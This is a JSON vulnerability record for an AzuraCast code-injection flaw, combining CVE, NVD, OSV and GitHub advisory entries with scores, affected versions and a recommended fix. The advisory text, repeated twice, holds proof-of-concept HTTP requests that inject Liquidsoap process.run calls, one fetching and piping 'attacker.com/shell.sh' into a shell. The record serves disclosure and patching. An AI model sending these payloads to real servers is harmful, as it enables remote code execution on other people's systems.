{"id":"CVE-2026-100857","aliases":["EUVD-2026-87822","GHSA-64wj-2chj-3r96","GHSA-93fx-5qgc-wr38"],"status":"published","title":"AzuraCast before 0.23.4 Remote Code Execution via Liquidsoap string interpolation","description":"AzuraCast before 0.23.4 contains a code injection vulnerability in the ConfigWriter::cleanUpString() method that fails to sanitize Liquidsoap string interpolation sequences, allowing authenticated users with Media or Profile permissions to inject arbitrary Liquidsoap code into station configuration. Attackers can inject #{process.run()} expressions into playlist URLs or station metadata fields that execute shell commands as the azuracast user when the station restarts.","severity":{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00424,"percentile":0.37187,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2026-03-09T19:55:00Z","modified":"2026-10-28T02:31:07Z","fixes":[{"ecosystem":"Packagist","package":"azuracast/azuracast","fixed_in":["0.23.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"azuracast/azuracast","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.23.3"},{"fixed":"0.23.4"}]}]},{"source":"osv","ecosystem":"Packagist","package":"azuracast/azuracast","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.23.4"}]}],"versions":["0.10.0","0.10.1","0.10.2","0.10.3","0.10.4","0.11","0.11.1","0.11.2","0.12","0.12.1","0.12.2","0.12.3","0.12.4","0.13.0","0.14.0","0.14.1","0.15.0","0.15.1","0.15.2","0.16.0","0.16.1","0.17.0","0.17.1","0.17.2","0.17.3","0.17.4","0.17.5","0.17.6","0.17.7","0.18.0","0.18.1","0.18.2","0.18.3","0.18.5","0.19.0","0.19.1","0.19.2","0.19.3","0.19.4","0.19.5","0.19.6","0.19.7","0.20.0","0.20.1","0.20.2","0.20.3","0.20.4","0.21.0","0.22.0","0.22.1","0.23.0","0.23.1","0.23.2","0.23.3","0.3.1","0.3.2","0.3.3","0.5.0","0.6.0","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","0.9.4","0.9.4.1","0.9.4.2","0.9.5","0.9.5.1","0.9.6","0.9.6.1","0.9.6.2","0.9.6.5","0.9.7","0.9.7.1","0.9.8","0.9.8.1","0.9.9"]}],"products":[{"vendor":"azuracast","product":"azuracast"}],"references":[{"url":"https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-93fx-5qgc-wr38","tags":["vendor-advisory","exploit","advisory","web"]},{"url":"https://www.vulncheck.com/advisories/azuracast-before-0.23.4-remote-code-execution-via-liquidsoap-string-interpolation","tags":["third-party-advisory","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100857","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-64wj-2chj-3r96"},{"url":"https://github.com/AzuraCast/AzuraCast/commit/d04b5c55ce0d867bcb87f49f7082bf8edbcd360c","tags":["web"]},{"url":"https://github.com/AzuraCast/AzuraCast/commit/ff49ef4d0fa571a3661abff6d0a9546ba3ed5df5","tags":["web"]},{"url":"https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.4","tags":["web"]},{"url":"https://github.com/advisories/GHSA-93fx-5qgc-wr38"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/100xxx/CVE-2026-100857.json","tags":["advisory"]},{"url":"https://github.com/AzuraCast/AzuraCast","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-100857","title":"AzuraCast before 0.23.4 Remote Code Execution via Liquidsoap string interpolation","description":"AzuraCast before 0.23.4 contains a code injection vulnerability in the ConfigWriter::cleanUpString() method that fails to sanitize Liquidsoap string interpolation sequences, allowing authenticated users with Media or Profile permissions to inject arbitrary Liquidsoap code into station configuration. Attackers can inject #{process.run()} expressions into playlist URLs or station metadata fields that execute shell commands as the azuracast user when the station restarts.","status":"published","published":"2026-09-27T01:28:48.45Z","modified":"2026-10-08T15:22:06.208Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:20:06.925367Z"}],"euvd":[{"id":"EUVD-2026-87822","description":"AzuraCast before 0.23.4 contains a code injection vulnerability in the ConfigWriter::cleanUpString() method that fails to sanitize Liquidsoap string interpolation sequences, allowing authenticated users with Media or Profile permissions to inject arbitrary Liquidsoap code into station configuration. Attackers can inject #{process.run()} expressions into playlist URLs or station metadata fields that execute shell commands as the azuracast user when the station restarts.","status":"published","published":"2026-09-27T01:28:48Z","modified":"2026-10-08T15:22:06Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T17:27:32.18003Z"}],"ghsa":[{"id":"GHSA-64wj-2chj-3r96","title":"AzuraCast before 0.23.4 contains a code injection vulnerability in the ConfigWriter:...","description":"AzuraCast before 0.23.4 contains a code injection vulnerability in the ConfigWriter::cleanUpString() method that fails to sanitize Liquidsoap string interpolation sequences, allowing authenticated users with Media or Profile permissions to inject arbitrary Liquidsoap code into station configuration. Attackers can inject #{process.run()} expressions into playlist URLs or station metadata fields that execute shell commands as the azuracast user when the station restarts.","status":"published","published":"2026-09-27T03:31:05Z","modified":"2026-09-27T03:31:13Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:12:30.689958Z"},{"id":"GHSA-93fx-5qgc-wr38","title":"AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs","description":"## Summary\n\nAzuraCast's `ConfigWriter::cleanUpString()` method fails to sanitize Liquidsoap string interpolation sequences (`#{...}`), allowing authenticated users with `StationPermissions::Media` or `StationPermissions::Profile` permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, `#{...}` expressions are evaluated, enabling arbitrary command execution via Liquidsoap's `process.run()` function.\n\n## Root Cause\n\n**File:** `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php`, line ~1345\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n    return str_replace(['\"', \"\\n\", \"\\r\"], ['\\'', '', ''], $string ?? '');\n}\n```\n\nThis function only replaces `\"` with `'` and strips newlines. It does **NOT** filter:\n- `#{...}` — Liquidsoap string interpolation (evaluated as code inside double-quoted strings)\n- `\\` — Backslash escape character\n\nLiquidsoap, like Ruby, evaluates `#{expression}` inside double-quoted strings. `process.run()` in Liquidsoap executes shell commands.\n\n## Injection Points\n\nAll user-controllable fields that pass through `cleanUpString()` and are embedded in double-quoted strings in the `.liq` config:\n\n| Field | Permission Required | Config Line |\n|---|---|---|\n| `playlist.remote_url` | `Media` | `input.http(\"...\")` or `playlist(\"...\")` |\n| `station.name` | `Profile` | `name = \"...\"` |\n| `station.description` | `Profile` | `description = \"...\"` |\n| `station.genre` | `Profile` | `genre = \"...\"` |\n| `station.url` | `Profile` | `url = \"...\"` |\n| `backend_config.live_broadcast_text` | `Profile` | `settings.azuracast.live_broadcast_text := \"...\"` |\n| `backend_config.dj_mount_point` | `Profile` | `input.harbor(\"...\")` |\n\n## PoC 1: Via Remote Playlist URL (Media permission)\n\n```http\nPOST /api/station/1/playlists HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003cAPI_KEY_WITH_MEDIA_PERMISSION\u003e\n\n{\n    \"name\": \"Malicious Remote\",\n    \"source\": \"remote_url\",\n    \"remote_url\": \"http://x#{process.run('id \u003e /tmp/pwned')}.example.com/stream\",\n    \"remote_type\": \"stream\",\n    \"is_enabled\": true\n}\n```\n\nThe generated `liquidsoap.liq` will contain:\n```liquidsoap\nmksafe(buffer(buffer=5., input.http(\"http://x#{process.run('id \u003e /tmp/pwned')}.example.com/stream\")))\n```\n\nWhen Liquidsoap parses this, `process.run('id \u003e /tmp/pwned')` executes as the `azuracast` user.\n\n## PoC 2: Via Station Description (Profile permission)\n\n```http\nPUT /api/station/1/profile/edit HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003cAPI_KEY_WITH_PROFILE_PERMISSION\u003e\n\n{\n    \"name\": \"My Station\",\n    \"description\": \"#{process.run('curl http://attacker.com/shell.sh | sh')}\"\n}\n```\n\nGenerates:\n```liquidsoap\ndescription = \"#{process.run('curl http://attacker.com/shell.sh | sh')}\"\n```\n\n## Trigger Condition\n\nThe injection fires when the station is restarted, which happens during:\n- Normal station restart by any user with `Broadcasting` permission\n- System updates and maintenance\n- `azuracast:radio:restart` CLI command\n- Docker container restarts\n\n## Impact\n\n- **Severity:** Critical\n- **Authentication:** Required — any station-level user with `Media` or `Profile` permission\n- **Impact:** Full RCE on the AzuraCast server as the `azuracast` user\n- **CWE:** CWE-94 (Code Injection)\n\n## Recommended Fix\n\nUpdate `cleanUpString()` to escape `#` and `\\`:\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n    return str_replace(\n        ['\"', \"\\n\", \"\\r\", '\\\\', '#'],\n        ['\\'', '', '', '\\\\\\\\', '\\\\#'],\n        $string ?? ''\n    );\n}\n```","status":"published","published":"2026-03-09T19:55:00Z","modified":"2026-03-09T19:55:03Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:39:33.538417Z"}],"nvd":[{"id":"CVE-2026-100857","description":"AzuraCast before 0.23.4 contains a code injection vulnerability in the ConfigWriter::cleanUpString() method that fails to sanitize Liquidsoap string interpolation sequences, allowing authenticated users with Media or Profile permissions to inject arbitrary Liquidsoap code into station configuration. Attackers can inject #{process.run()} expressions into playlist URLs or station metadata fields that execute shell commands as the azuracast user when the station restarts.","status":"published","published":"2026-09-27T02:17:25.197Z","modified":"2026-10-08T16:17:00.643Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:12:52.081323Z"}],"osv":[{"id":"CVE-2026-100857","title":"AzuraCast before 0.23.4 Remote Code Execution via Liquidsoap string interpolation","description":"AzuraCast before 0.23.4 contains a code injection vulnerability in the ConfigWriter::cleanUpString() method that fails to sanitize Liquidsoap string interpolation sequences, allowing authenticated users with Media or Profile permissions to inject arbitrary Liquidsoap code into station configuration. Attackers can inject #{process.run()} expressions into playlist URLs or station metadata fields that execute shell commands as the azuracast user when the station restarts.","status":"published","published":"2026-09-27T01:28:48.45Z","modified":"2026-10-28T02:31:07.030294332Z","cvss":[{"version":"4.0","score":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:44:53.83521Z"},{"id":"GHSA-93fx-5qgc-wr38","title":"AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs","description":"## Summary\n\nAzuraCast's `ConfigWriter::cleanUpString()` method fails to sanitize Liquidsoap string interpolation sequences (`#{...}`), allowing authenticated users with `StationPermissions::Media` or `StationPermissions::Profile` permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, `#{...}` expressions are evaluated, enabling arbitrary command execution via Liquidsoap's `process.run()` function.\n\n## Root Cause\n\n**File:** `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php`, line ~1345\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n    return str_replace(['\"', \"\\n\", \"\\r\"], ['\\'', '', ''], $string ?? '');\n}\n```\n\nThis function only replaces `\"` with `'` and strips newlines. It does **NOT** filter:\n- `#{...}` — Liquidsoap string interpolation (evaluated as code inside double-quoted strings)\n- `\\` — Backslash escape character\n\nLiquidsoap, like Ruby, evaluates `#{expression}` inside double-quoted strings. `process.run()` in Liquidsoap executes shell commands.\n\n## Injection Points\n\nAll user-controllable fields that pass through `cleanUpString()` and are embedded in double-quoted strings in the `.liq` config:\n\n| Field | Permission Required | Config Line |\n|---|---|---|\n| `playlist.remote_url` | `Media` | `input.http(\"...\")` or `playlist(\"...\")` |\n| `station.name` | `Profile` | `name = \"...\"` |\n| `station.description` | `Profile` | `description = \"...\"` |\n| `station.genre` | `Profile` | `genre = \"...\"` |\n| `station.url` | `Profile` | `url = \"...\"` |\n| `backend_config.live_broadcast_text` | `Profile` | `settings.azuracast.live_broadcast_text := \"...\"` |\n| `backend_config.dj_mount_point` | `Profile` | `input.harbor(\"...\")` |\n\n## PoC 1: Via Remote Playlist URL (Media permission)\n\n```http\nPOST /api/station/1/playlists HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003cAPI_KEY_WITH_MEDIA_PERMISSION\u003e\n\n{\n    \"name\": \"Malicious Remote\",\n    \"source\": \"remote_url\",\n    \"remote_url\": \"http://x#{process.run('id \u003e /tmp/pwned')}.example.com/stream\",\n    \"remote_type\": \"stream\",\n    \"is_enabled\": true\n}\n```\n\nThe generated `liquidsoap.liq` will contain:\n```liquidsoap\nmksafe(buffer(buffer=5., input.http(\"http://x#{process.run('id \u003e /tmp/pwned')}.example.com/stream\")))\n```\n\nWhen Liquidsoap parses this, `process.run('id \u003e /tmp/pwned')` executes as the `azuracast` user.\n\n## PoC 2: Via Station Description (Profile permission)\n\n```http\nPUT /api/station/1/profile/edit HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer \u003cAPI_KEY_WITH_PROFILE_PERMISSION\u003e\n\n{\n    \"name\": \"My Station\",\n    \"description\": \"#{process.run('curl http://attacker.com/shell.sh | sh')}\"\n}\n```\n\nGenerates:\n```liquidsoap\ndescription = \"#{process.run('curl http://attacker.com/shell.sh | sh')}\"\n```\n\n## Trigger Condition\n\nThe injection fires when the station is restarted, which happens during:\n- Normal station restart by any user with `Broadcasting` permission\n- System updates and maintenance\n- `azuracast:radio:restart` CLI command\n- Docker container restarts\n\n## Impact\n\n- **Severity:** Critical\n- **Authentication:** Required — any station-level user with `Media` or `Profile` permission\n- **Impact:** Full RCE on the AzuraCast server as the `azuracast` user\n- **CWE:** CWE-94 (Code Injection)\n\n## Recommended Fix\n\nUpdate `cleanUpString()` to escape `#` and `\\`:\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n    return str_replace(\n        ['\"', \"\\n\", \"\\r\", '\\\\', '#'],\n        ['\\'', '', '', '\\\\\\\\', '\\\\#'],\n        $string ?? ''\n    );\n}\n```","status":"published","published":"2026-03-09T19:55:00Z","modified":"2026-09-27T11:56:07.738226089Z","cvss":[{"version":"3.1","score":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:43.123867Z"}]}}
